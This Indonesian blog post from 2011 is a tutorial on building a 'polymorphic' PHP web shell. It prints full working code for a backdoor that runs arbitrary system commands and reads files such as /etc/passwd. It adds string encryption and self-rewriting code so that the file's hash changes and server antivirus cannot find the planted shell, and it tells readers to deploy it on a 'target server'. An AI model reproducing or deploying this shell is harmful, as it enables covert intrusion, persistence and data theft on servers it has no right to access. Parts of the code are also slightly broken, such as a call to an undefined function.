Minggu, 05 Juni 2011

Saya masih bingung tentang PHP SHELL itu. saya menemukan artike dari sebuah blog yang kurang lebih seperti ini.
PHP SHELL ialah sebuah injection script di server website yang berguna untuk mendapatkan akses shell. Dengan sebuah shell kita bisa mendapatkan akses File I/O, database, atau bahkan sistem layaknya seperti hak seorang admin dalam mengelola websitenya. Karena begitu berbahayanya sebuah PHP SHELL di server, biasanya para root mematikan fungsi – fungsi penting PHP yang memiliki fungsi bumerang bagi servernya, seperti fungsi system(). Bahkan antivirus khusus server web pun menjadikan PHP SHELL sebagai target operasi utamanya, selain berbagai macam rootkit backdoor yang lainnya.

Pada umumnya root menggunakan antivirus untuk menscan sistem dan mencari berbagai file yang memiliki hash MD5 berbahaya. Hash MD5 layaknya sebuah sidik jari pada sebuah file. Setiap konten file yang berbeda akan selalu memiliki hash MD5 yang berbeda. Oleh karena itu bisa dibayangkan jika sample PHP SHELL milik anda sudah dimiliki seorang root, maka dia dapat dengan mudah mencari seluruh PHP SHELL yang sudah ditanam diserver dan segera menghapus -bahkan membloknya dari white list running process. Semua ini dilakukan hanya dengan bermodalkan sidik jari PHP SHELL kita. Menyebalkan bukan.
Lalu bagaimanakah caranya agar sebuah script (apapun itu, tidak hanya PHP SHELL saja) bisa bertahan lebih lama di server target? Bagaimana caranya agar contoh PHP SHELL milik kita yang telah dimiliki admin tidak bisa digunakan dengan mudah untuk mencari lokasi script – script tersebut ditanam?
Polymorphic jawabannya.
Polymorphic code adalah sebuah teknik mutasi kode yang dilakukan oleh kode itu sendiri dan berfungsi untuk menyamarkan diri dengan selalu mengubah konten kode yang secara otomatis juga mengubah sidik jari / HASH dari kode tersebut.
Misalnya mini php shell (shell.php) seperti ini :
<?

$shell_cmd = $_REQUEST['cmd'];

$shell_file = $_REQUEST['file'];

if ($shell_cmd == ‘about’) { echo ‘PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0′; }

elseif ($shell_cmd == ‘readfile’) { echo file_get_contents($shell_file); }

elseif ($shell_cmd == ‘phpinfo’) { phpinfo(); }

else { system($shell_cmd); }

?>

Keterangan fungsinya :
/shell.php?cmd=about

> memunculkan versi php shell (biasanya utk kepentingan update otomatis)



/shell.php?cmd=readfile&file=/etc/passwd

> membaca isi file /etc/passwd di server


/shell.php?cmd=phpinfo

> menampilkan PHPINFO() yang merisikan informasi detil tentang PHP dan server web


/shell.php?cmd=ls -all

> melisting isi work direktori di server
Secara struktur kode, script di atas memiliki 6 string dan 2 nama variabel :
String Array : (‘cmd’, ‘file’, ‘about’, ‘PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0′, ‘readfile’, ‘phpinfo’)

Nama Variable : $shell_cmd dan $shell_file (variabel dengan prefix awalan $shell_ )
Pada kedua kunci utama inilah kita perlu enkripsi dan mutasi kode.
Mengapa? Karena biasanya sebuah string maupun nama variable lebih gampang dicari menggunakan teknik pendekatan konten oleh antivirus. Sehingga tugas kita meminimalisasi hasik pencarian dengan teknik seperti ini dengan cara mengenkripsi dan memutasikan kodenya.
Berikut adalah kode encrypt/decrypt string sederhana :
function shell_en($str){

global $shell_key;

for($i=0; $i<strlen($str); $i++) {

$char = substr($str, $i, 1);

$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);

$char = chr(ord($char)+ord($keychar));

$result.=$char;

}

return base64_encode($result);

}



function shell_de($str){

global $shell_key;

$str = base64_decode($str);

$result = ”;

for($i=0; $i< strlen($str); $i++) {

$char = substr($str, $i, 1);

$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);

$char = chr(ord($char)-ord($keychar));

$result.=$char;

}

return $result;

}
Dan berikut kode polymorphic sederhana yg dibuat berdasarkan struktur kode php shell di atas :
function polymorphic() {

global $shell_path, $shell_sess, $shell_morphic;

$shell_tmp = file_get_contents($shell_path);

$shell_tmc = str_replace(“shell_path”,”refresh”,$shell_tmp);

$shell_tmp = str_replace($shell_morphic, “sess”.$shell_sess.”_”, $shell_tmc);

$shell_tmp = str_replace(“refresh”,”shell_path”,$shell_tmp);



$fh = fopen($shell_path, ‘w’) or die(core_de($shell_string[6]));

fwrite($fh, $shell_tmp);

fclose($fh);

}
Langkah – langkah pembentukan kode :
1. Tentukan key untuk enkripsi anda dan simpan di variabel $shell_key, misalnya :
$shell_key = ‘rahasia’;
2. Enkripsi seluruh string utama yang anda gunakan di kode dengan memanggil fungsi shell_en(‘stringanda’), misal hasilnya seperti ini :
$shell_string = array(‘xN/F’,'x9vNzQ==’,'wtTQ3dU=’,'sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=’,’09fCzMfc1cY=’,’0drR0c/Z2A==’);
3. Tentukan string yang selalu acak untuk memutasi kode dan simpan di variabel $shell_sess, misalnya :
$shell_sess = $_SERVER['REQUEST_TIME']; // mendapatkan string acak dari waktu request http
Berikut kode utuh setelah shell.php yang sudah bubuhkan fungsi enkripsi dan polymorphic:
<?

error_reporting(0); // mematikan error notification di kode PHP

$shell_morphic = ‘shell_’;

$shell_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file

$shell_key = ‘rahasia’;

$shell_sess = $_SERVER['REQUEST_TIME'];

$shell_string = array(‘xN/F’,'x9vNzQ==’,'wtTQ3dU=’,'sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=’,’09fCzMfc1cY=’,’0drR0c/Z2A==’);

$shell_cmd = $_REQUEST[shell_de($shell_string[0])]; // mengambil request field cmd

$shell_file = $_REQUEST[shell_de($shell_string[1])]; // mengambil request field file



if ($shell_cmd == shell_de($shell_string[2])) { echo shell_de($shell_string[3]); }

elseif ($shell_cmd == shell_de($shell_string[4])) { echo file_get_contents($shell_file); }

elseif ($shell_cmd == shell_de($shell_string[5])) { phpinfo(); }

else { system($shell_cmd); }



function shell_en($str){

global $shell_key;

for($i=0; $i<strlen($str); $i++) {

$char = substr($str, $i, 1);

$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);

$char = chr(ord($char)+ord($keychar));

$result.=$char;

}

return base64_encode($result);

}



function shell_de($str){

global $shell_key;

$str = base64_decode($str);

$result = ”;

for($i=0; $i< strlen($str); $i++) {

$char = substr($str, $i, 1);

$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);

$char = chr(ord($char)-ord($keychar));

$result.=$char;

}

return $result;

}



function polymorphic() {

global $shell_path, $shell_sess, $shell_morphic;

$shell_tmp = file_get_contents($shell_path);

$shell_tmc = str_replace(“shell_path”,”shell_path”,$shell_tmp);

$shell_tmp = str_replace($shell_morphic, “sess”.$shell_sess.”_”, $shell_tmc);

$shell_tmp = str_replace(“shell_path”,”shell_path”,$shell_tmp);



$fh = fopen($shell_path, ‘w’) or die(core_de($shell_string[6]));

fwrite($fh, $shell_tmp);

fclose($fh);

}

polymorphic();

?>
Sekarang silahkan coba script tersebut di server target anda, dan coba perbedaannya dengan ketika kode setelah dieksekusi :
<?

error_reporting(0); // mematikan error notification di kode PHP

$sess1242301251_morphic = ‘sess1242301251_’;

$sess1242301251_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file

$sess1242301251_key = ‘rahasia’;

$sess1242301251_sess = $_SERVER['REQUEST_TIME'];

$sess1242301251_string = array(‘xN/F’,'x9vNzQ==’,'wtTQ3dU=’,'sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=’,’09fCzMfc1cY=’,’0drR0c/Z2A==’);

$sess1242301251_cmd = $_REQUEST[sess1242301251_de($sess1242301251_string[0])]; // mengambil request field cmd

$sess1242301251_file = $_REQUEST[sess1242301251_de($sess1242301251_string[1])]; // mengambil request field file



if ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[2])) { echo sess1242301251_de($sess1242301251_string[3]); }

elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[4])) { echo file_get_contents($sess1242301251_file); }

elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[5])) { phpinfo(); }

else { system($sess1242301251_cmd); }



function sess1242301251_en($str){

global $sess1242301251_key;

for($i=0; $i<strlen($str); $i++) {

$char = substr($str, $i, 1);

$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);

$char = chr(ord($char)+ord($keychar));

$result.=$char;

}

return base64_encode($result);

}



function sess1242301251_de($str){

global $sess1242301251_key;

$str = base64_decode($str);

$result = ”;

for($i=0; $i< strlen($str); $i++) {

$char = substr($str, $i, 1);

$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);

$char = chr(ord($char)-ord($keychar));

$result.=$char;

}

return $result;

}



function polymorphic() {

global $sess1242301251_path, $sess1242301251_sess, $sess1242301251_morphic;

$sess1242301251_tmp = file_get_contents($sess1242301251_path);

$sess1242301251_tmc = str_replace(“sess1242301251_path”,”sess1242301251_path”,$sess1242301251_tmp);

$sess1242301251_tmp = str_replace($sess1242301251_morphic, “sess”.$sess1242301251_sess.”_”, $sess1242301251_tmc);

$sess1242301251_tmp = str_replace(“sess1242301251_path”,”sess1242301251_path”,$sess1242301251_tmp);



$fh = fopen($sess1242301251_path, ‘w’) or die(core_de($sess1242301251_string[6]));

fwrite($fh, $sess1242301251_tmp);

fclose($fh);

}

polymorphic();

?>
Sudah berubah bukan? Dan struktur kode ini akan selalu berubah ketika kode tersebut dipanggil. Yap, kini anda telah memiliki polymorphic php shell sendiri!
Jika anda ingin PHP SHELL ini lebih privat, maka tentukan $shell_key pribadi anda dan enkripsi seluruh string tadi dengan $shell_key anda. Setelah itu gantilah baris
$shell_key = ‘rahasia’; menjadi $shell_key = $_REQUEST['key'];
Dengan begitu, maka setiap pemanggilan shell harus menyertakan key enkripsi anda dalam field request, jika keynya tidak sah maka php shell pun tidak akan berfungsi karena proses dekripsinya gagal.
Contoh pemanggilan privat php shellnya :
/shell.php?key=rahasia&cmd=about
Coba anda bandingkan dengan pemanggilan biasa seperti ini :
/shell.php?cmd=about
Semoga artikel ini cukup bermanfaat untuk anda yang sedang mencari referensi tentang PHP SHELL, maupun teknik POLYMORPHIC.
Categories:

0 comments:

Posting Komentar

Terima kasih telah mengunjungi Blog ini. Kritik dan saran sangat dibutuhkan bagi Saya untuk memperbaikinya.

Subscribe to RSS Feed Follow me on Twitter!